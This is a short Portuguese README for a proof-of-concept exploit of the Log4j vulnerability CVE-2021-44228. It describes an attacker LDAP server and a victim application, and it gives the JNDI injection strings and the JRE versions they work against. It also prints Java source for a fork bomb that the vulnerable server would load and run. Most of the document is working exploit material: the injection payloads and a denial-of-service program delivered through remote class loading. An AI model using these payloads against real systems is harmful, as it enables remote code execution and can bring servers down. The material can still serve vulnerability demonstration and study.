log4j-exploit-with-fork-bomb

💣💥💀 Prova de Conceito: exemplo de execução de fork bomb em um servidor remoto devido à vulnerabilidade CVE-2021-44228

1. Criamos o servidor LDAP do atacante (módulo server), que fornecerá representações de strings e código (módulo payload)

2. Criamos um exemplo de vítima (módulo victim) e passamos para o Log4j a string Versão JRE <= 6u211, 7u201, 8u191 e 11.0.1

${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}

3. O aplicativo vítima receberá do servidor atacante um array de bytes e os interpretará como uma string substituída ou como código executável (parâmetro com.sun.jndi.ldap.object.trustURLCodebase = true)

4. Para exemplo, o código executável será um fork bomb (programa que lança cópias de si mesmo, consumindo todo o tempo de CPU)

public class ForkBomb {

  public static void main(String... args) {
  
    Runtime.getRuntime().exec(new String[] {
        "javaw", 
        "-cp", 
        System.getProperty("java.class.path"), 
        "ForkBomb"
    });
  }
}